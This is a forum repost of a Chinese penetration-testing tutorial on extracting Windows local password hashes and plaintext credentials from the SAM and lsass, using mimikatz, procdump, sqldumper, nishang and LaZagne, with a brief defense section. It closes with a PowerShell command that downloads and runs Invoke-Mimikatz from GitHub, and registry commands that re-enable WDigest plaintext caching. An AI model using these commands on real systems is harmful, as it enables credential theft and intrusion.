设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 系统 › [326] 2020-05-25_windows单机密码抓取和防范
返回列表 发新帖
查看: 8|回复: 0

[326] 2020-05-25_windows单机密码抓取和防范

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2020-05-25_windows单机密码抓取和防范 w i n d o w s 单 机 密 码 抓 取 和 防 范 原 创   阿 发   a F a 攻 防 实 验 室   2 0 2 0 - 0 5 - 2 5 收 录 于 话 题   # 内 网 攻 防   , 4 3 个 内 容 概 览 ： 简 介 、 P E 进 入 复 制 s a m 、 v s s 复 制 s a m 、 注 册 表 导 出 s a m 、 m i m i k a t z 在 线 读 取 s a m 、 离 线 读 取 l s a s s . d m p 文 件 、 s q l d u m p e r 导 出 、 p o w e r s h e l l 进 行 d u m p 操 作 、 p o w e r s h e l l 远 程 加 载 脚 本 、 l a z a g n e 、 密 码 抓 取 和 防 范 。 简 介 简 介 w i n d o w s 本 地 用 户 的 相 关 信 息 保 存 在 s a m 文 件 中 ， s a m 是 被 锁 定 且 不 允 许 复 制 的 ， l s a s s 进 程 实 现 了 w i n d o w s 的 安 全 策 略 （ 本 地 安 全 策 略 和 登 录 策 略 ） ， 上 一 篇 文 章 也 说 到 过 l s a s s 记 录 了 明 文 密 码 和 n t l m h a s h ， 而 我 们 抓 取 密 码 的 方 式 一 个 就 是 从 内 存 的 l s a s s 进 程 中 获 取 ， 第 二 个 就 是 从 s a m 文 件 中 获 取 。 P E 进 入 复 制 进 入 复 制 s a m 这 种 方 法 实 际 渗 透 中 是 用 不 到 的 ， 但 我 们 应 该 知 道 有 这 么 一 回 事 。 科 普 1 ： p e 也 是 一 个 系 统 ， 比 较 小 用 来 应 急 的 ， 可 对 原 系 统 进 行 操 作 ， 一 般 装 u 盘 里 ， 使 用 也 方 便 。 常 用 的 功 能 就 是 重 新 部 署 、 还 原 系 统 等 。 因 为 可 对 原 系 统 做 操 作 ， 所 以 我 们 可 以 在 忘 记 密 码 的 时 候 进 行 密 码 清 除 和 修 改 ， 获 取 密 码 需 要 把 s a m 文 件 复 制 出 来 ， 然 后 再 进 行 后 续 的 破 解 。 V S S 复 制 复 制 s a m w i n d o w s 2 0 0 3 起 引 入 了 一 个 v s s 存 储 技 术 ， 全 名 叫 V o l u m e   S h a d o w   c o p y   S e r v i c e , 卷 映 射 拷 贝 服 务 ， 简 单 理 解 就 是 可 以 对 磁 盘 上 的 文 件 进 行 备 份 。 在 n i s h a n g 的 g a t h e r 信 息 搜 集 模 块 中 提 供 了 相 应 的 脚 本 c o p y - v s s ， 使 用 方 法 直 接 看 r e a d m e 就 可 以 。 从 g i t h u b 下 载 后 它 已 经 把 p o w e r s h e l l 脚 本 都 按 类 别 分 好 了 ， 使 用 时 如 果 要 导 入 所 有 脚 本 就 用 i m p o r t - m o d u l e   . n i s h a n g . p s m 1 ， 单 个 脚 本 导 入 就 用 点 。 科 普 2 ： p s m 1 是 脚 本 模 块 ， 里 面 存 的 是 一 些 p s 命 令 ， 导 入 时 需 要 用 i m p o r t - m o d u l e ， p s 1 是 p s 脚 本 文 件 ， 里 面 是 相 关 代 码 ， 导 入 时 可 以 使 用 点 也 可 以 直 接 运 行 。 如 果 p s 脚 本 文 件 比 较 多 ， 就 可 以 通 过 脚 本 模 块 使 用 命 令 一 次 性 全 部 导 入 。 科 普 3 ： 通 过 点 可 引 入 p s 脚 本 文 件 ， 这 种 方 式 引 入 后 会 保 存 脚 本 中 的 变 量 和 函 数 ， 也 就 意 味 着 你 可 以 通 过 命 令 行 输 入 变 量 名 或 函 数 名 来 进 行 调 用 。 回 到 c o p y - v s s ， c o p y - v s s 会 复 制 三 个 文 件 ， 分 别 是 s a m 、 s y s t e m 、 n t d s . d i t ， s a m 和 n t d s . d i t 上 篇 说 过 ， 如 果 c o p y - v s s 在 域 控 主 机 上 运 行 ， 那 n t d s . d i t 也 会 被 复 制 ， 我 这 里 本 机 所 以 没 有 这 个 文 件 。 s y s t e m 是 注 册 表 数 据 库 ， 存 的 是 注 册 表 的 信 息 。 使 用 示 例 ： 注 册 表 导 出 注 册 表 导 出 s a m 通 过 r e g 命 令 可 以 导 出 注 册 表 中 的 s a m 、 s y s t e m 、 s e c u r i t y 文 件 到 本 地 ， 这 个 方 式 属 于 正 常 操 作 ， 有 一 定 的 免 杀 效 果 ， 示 例 （ 后 缀 h i v 也 可 以 ） ：
科 普 4 ： r e g 命 令 是 用 来 操 作 注 册 表 的 ， s a v e 关 键 字 就 是 保 存 ， 这 里 注 意 使 用 的 是 s a v e 而 不 是 e x p o r t 导 出 。 区 别 ： s a v e 保 存 的 是 h i v e 格 式 ， 也 就 是 配 置 单 元 格 式 ， 保 存 了 元 数 据 ， 相 当 于 原 封 不 动 的 格 式 保 存 的 ， 你 打 开 是 十 六 进 制 的 。 e x p o r t 导 出 的 是 r e g 格 式 ， 可 直 接 文 本 打 开 ， 它 只 是 保 存 了 注 册 表 的 路 径 键 值 等 信 息 。 科 普 5 ： h k l m 代 表 的 是 H K E Y _ L O C A L _ M A C H I N E ， 后 面 跟 的 是 导 出 的 文 件 名 。 h i v e 文 件 是 配 置 单 元 文 件 ， 其 实 就 是 一 个 文 件 ， 只 不 过 里 面 包 含 了 相 关 的 配 置 信 息 ， 例 如 s a m 的 配 置 单 元 ， 它 就 保 存 了 s a m 的 一 些 信 息 ， 只 不 过 是 以 注 册 表 形 式 存 在 的 。 导 出 配 置 单 元 文 件 后 可 以 拿 到 本 地 进 行 读 取 ， m i m i k a t z 提 供 了 l s a d u m p 模 块 ， 可 用 来 读 取 s a m 配 置 单 元 文 件 ， 示 例 如 下 ： m i m i k a t z 使 用 方 法 可 以 直 接 看 g i t h u b 上 的 文 档 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / w i k i 除 了 m i m i k a t z 外 ， c a i n 也 可 以 读 取 s a m . h i v e ， 不 过 它 应 该 是 不 提 供 下 载 了 ， 这 网 址 我 打 开 失 效 了 ， 感 兴 趣 的 话 可 以 去 搜 下 之 前 网 上 提 供 的 地 址 ， （ 我 去 找 了 一 个 地 址 h t t p s : / / w w w . f i l e h o r s e . c o m / d o w n l o a d - c a i n - a n d - a b e l / ） 建 议 拿 到 虚 拟 机 去 试 ， 试 之 前 需 要 把 防 火 墙 关 闭 ， 示 例 ： 使 用 上 图 已 经 标 注 了 ， 注 意 b o o t k e y 那 个 选 项 ， 2 0 0 0 版 本 后 的 w i n d o w s 都 使 用 了 s y s k e y ， 所 以 你 还 需 要 导 入 s y s t e m . h i v e ， 导 入 后 会 给 你 b o o t k e y ， 复 制 出 来 粘 贴 进 去 就 可 以 得 到 目 标 系 统 上 账 号 的 n t l m h a s h ， 随 后 进 行 破 解 即 可 。 m i m i k a t z 在 线 读 取 在 线 读 取 s a m 上 面 说 的 m i m i k a t z 是 把 目 标 机 的 s a m . h i v e 和 s y s t e m . h i v e 拿 到 本 地 读 取 的 ， 它 也 可 以 在 目 标 机 上 直 接 运 行 去 读 取 s a m （ 需 要 免 杀 ） ， 示 例 ：
除 了 从 s a m 文 件 中 读 ， 我 们 也 可 以 从 l s a s s 进 程 中 提 取 相 关 信 息 ， m i m i k a t z 提 供 了 s e k u r l s a 模 块 ， 此 模 块 可 以 去 进 程 中 提 取 密 码 、 票 据 等 。 示 例 ： 离 线 读 取 离 线 读 取 l s a s s . d m p 文 件 文 件 我 们 知 道 l s a s s 进 程 用 于 本 地 安 全 策 略 和 登 录 策 略 ， 它 包 含 了 用 户 的 密 码 、 票 据 等 信 息 ， 我 们 上 面 也 通 过 了 m i m i k a t z 去 获 取 相 关 信 息 。 除 此 外 ， 还 有 一 种 方 法 即 离 线 读 取 l s a s s . d m p 文 件 。 科 普 6 ： d m p 文 件 是 进 程 的 内 存 镜 像 ， 既 然 是 镜 像 ， 那 也 就 包 含 了 我 们 需 要 的 信 息 。 我 们 可 以 把 l s a s s 进 程 转 存 储 出 来 ， 找 到 L o c a l   S e c u r i t y   A u t h o r i t y   S e r v i c e 进 程 ， 右 键 选 择 转 存 储 即 可 。 同 时 我 们 也 可 以 使 用 p r o c d u m p 导 出 l s a s s . d m p ， p r o c d u m p 是 微 软 发 布 的 产 品 ， 所 以 具 有 免 杀 效 果 ， 地 址 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / d o w n l o a d s / p r o c d u m p ， p r o c d u m p 用 来 监 控 应 用 程 序 c p u 异 常 动 向 ， 并 在 异 常 时 生 成 d u m p 文 件 ， 简 单 理 解 就 是 它 可 以 存 d u m p 文 件 ， 上 面 下 载 地 址 说 明 了 用 法 ， 或 者 - h 查 看 ， 示 例 如 下 ：
T i p ： 上 述 命 令 可 以 看 到 m a 参 数 可 以 指 定 进 程 名 也 可 以 指 定 进 程 的 p i d ， 使 用 进 程 名 时 ， 我 本 地 执 行 p r o c d u m p 时 是 没 问 题 的 ， 虚 拟 机 执 行 时 w i n d o w s 自 带 防 护 会 提 示 危 险 ， 然 后 过 几 秒 就 给 我 自 动 把 d m p 删 了 ， 虚 拟 机 用 的 w i n 1 0 而 且 刚 刚 更 新 补 丁 ， 具 体 原 因 暂 时 不 清 楚 ， 可 以 使 用 p i d 的 方 式 存 储 ， 不 会 有 上 述 问 题 。 导 出 d m p 后 就 可 以 通 过 m i m i t a k z 读 取 相 关 信 息 了 ， 需 要 注 意 本 地 系 统 要 和 目 标 机 一 致 ， 示 例 ：   s q l d u m p e r 导 出 导 出 除 了 上 面 的 p r o c d u m p ， w i n d o w s 自 己 的 工 具 还 有 一 个 s q l d u m p e r ， 这 个 工 具 说 是 默 认 在 C : P r o g r a m   F i l e s M i c r o s o f t   S Q L   S e r v e r n u m b e r S h a r e d 这 个 位 置 ， s q l s e r v e r 带 的 ， 我 本 机 没 有 装 这 个 工 具 ， 通 过 e v e r t h i n g 在 C : P r o g r a m F i l e s M i c r o s o f t   O f f i c e 下 搜 到 一 个 ， 测 试 也 能 用 ， 这 个 可 以 在 目 标 机 搜 索 下 ， 如 果 没 有 那 只 能 自 己 传 一 下 了 。 我 这 里 给 虚 拟 机 复 制 了 一 个 进 行 测 试 ， 可 以 通 过 - h 查 看 说 明 ， 它 需 要 跟 进 程 i d 和 线 程 i d 以 及 类 型 号 ， 示 例 ： 两 个 问 题 ： 这 里 官 方 给 的 完 整 转 存 示 例 中 ， f l a g 是 0 x 0 1 1 0 0 ， 但 是 我 没 找 到 这 个 ， 只 有 一 个 a l l _ m e m o r y 的 0 x 0 0 1 0 ， 测 试 的 结 果 没 啥 差 别 。 第 二 个 问 题 是 t h r e a d i d 示 例 都 是 给 的 0 ， 这 个 0 的 意 思 没 看 到 有 什 么 具 体 的 说 法 ， 但 其 他 程 序 到 有 关 于 线 程 0 的 说 明 ， 大 概 意 思 指 0 这 个 i d 是 无 效 的 ， 即 代 表 没 有 指 定 有 效 i d ， 则 去 使 用 默 认 的 值 去 处 理 或 者 是 最 大 化 去 处 理 。 我 们 使 用 指 定 0 就 可 以 ， 这 是 s q l d u m p e r 的 说 明 ： h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / e n - h k / h e l p / 9 1 7 8 2 5 / u s e - t h e - s q l d u m p e r - e x e - u t i l i t y - t o - g e n e r a t e - a - d u m p - f i l e - i n - s q l - s e r v e r p o w e r s h e l l 进 行 进 行 d u m p 操 作 操 作 n i s h a n g 的 g a t h e r 信 息 搜 集 模 块 提 供 了 一 个 g e t - p a s s h a s h e s 脚 本 ， 该 脚 本 可 导 出 h a s h 值 ， 示 例 ：
p o w e r s h e l l 远 程 加 载 脚 本 远 程 加 载 脚 本 p o w e r s h e l l 可 以 远 程 加 载 相 关 的 p s 脚 本 执 行 ， 目 标 及 c m d 下 运 行 命 令 ： I E X 是 I n v o k e - E x p r e s s i o n i h y 缩 写 ， 调 用 表 达 式 的 意 思 ， 代 表 后 面 的 字 符 按 命 令 执 行 ， 然 后 n e w 新 建 了 一 个 对 象 ， 是 w e b c l i e n t ， 即 后 面 可 加 载 w e b 相 关 的 内 容 ， 例 如 h t t p 、 h t t p s 等 ， 最 后 分 号 结 束 ， 这 样 远 程 脚 本 内 容 就 已 经 加 载 到 本 地 了 ， 随 后 输 入 相 关 调 用 命 令 即 可 。 上 面 示 例 是 g i t h u b u s e r c o n t e n t 网 址 ， 一 般 不 稳 定 也 比 较 慢 ， 可 以 把 p o w e r s p l o i t 、 n i s h a n g 这 些 放 到 自 己 的 服 务 器 。 l a z a g n e 这 个 工 具 挺 不 错 的 ， 上 篇 文 章 简 单 提 了 一 下 ， 可 以 获 取 机 器 上 很 多 类 型 的 密 码 ， 包 括 w i n d o w s 的 h a s h ， 使 用 也 很 简 单 ， 大 家 g i t h u b 下 载 就 可 以 了 ， 这 里 就 不 多 说 了 。 单 机 密 码 抓 取 防 范 单 机 密 码 抓 取 防 范 如 果 密 码 足 够 复 杂 ， 那 么 h a s h 是 不 容 易 破 解 的 。 在 w i n d o w s   s e r v e r 2 0 1 2 以 上 版 本 默 认 关 闭 了 w d i g e s t （ w i n d o w s 下 的 一 个 安 全 协 议 ） ， 关 闭 后 是 不 能 从 l s a s s 中 获 取 明 文 密 码 的 ， 这 时 的 l s a s s 是 不 会 缓 存 明 文 密 码 的 。 而 2 0 1 2 以 下 的 版 本 如 果 打 了 K B 2 8 7 1 9 9 7 ， 则 l s a s s 也 不 会 存 明 文 密 码 。 通 过 上 面 的 一 些 m i m i k a t z 结 果 可 以 看 到 w d i g e s t 下 的 p a s s w o r d 为 n u l l 。 所 以 防 范 时 一 个 保 证 密 码 复 杂 度 ， 另 一 个 就 是 确 保 w d i g e s t 的 关 闭 。 当 然 我 们 也 可 以 进 行 打 开 ， 操 作 注 册 表 相 关 项 即 可 ， 1 为 打 开 0 为 关 闭 ， 打 开 后 当 前 账 号 需 要 注 销 或 者 从 新 登 录 ， 这 时 l s a s s 才 会 去 存 明 文 密 码 ， 下 面 是 r e g 和 p o w e r s h e l l 的 命 令 和 示 例 截 图 ： 总 结 总 结 w i n d o w s 单 机 密 码 可 从 s a m 文 件 和 l s a s s 进 程 中 提 取 。 s a m 文 件 可 以 拷 贝 出 来 或 者 是 用 注 册 表 导 出 来 ， 然 后 通 过 m i m i k a t z 离 线 读 取 ， 也 可 以 使 用 m i m i k a t z 直 接 在 线 读 取 。 l s a s s 进 程 可 通 过 右 键 导 出 d u m p 文 件 ， 或 者 p r o c d u m p 、 s q l d u m p e r 等 工 具 导 出 。 除 此 外 一 些 其 他 工 具 也 支 持 w i n d o w s 密 码 获 取 ， 例 如 n i s h a n g 的 g e t - p a s s h a s h e s 脚 本 、 p o w e r s p l o i t 的 I n v o k e - m i m i k a t z 脚 本 ， 这 些 p o w e r s h e l l 脚 本 可 以 传 目 标 机 执 行 ， 也 可 以 远 程 加 载 使 用 。 最 后 就 是 l a z a g n e 工 具 ， 可 以 获 取 多 方 面 的 密 码 ， 其 中 就 包 括 w i n d o w s h a s h 。 p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / m a t t i f e s t a t i o n / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / I n v o k e - M i m i k a t z . p s 1 ' ) ;   I n v o k e - M i m i k a t z r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f p o w e r s h e l l   - c   " s e t - i t e m p r o p e r t y   - p a t h   H K L M : S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   - N a m e   U s e L o g o n C r e d e n t i a l   - T y p e   D W O R D   - V a l u e   1 "
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:42 , Processed in 0.405542 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表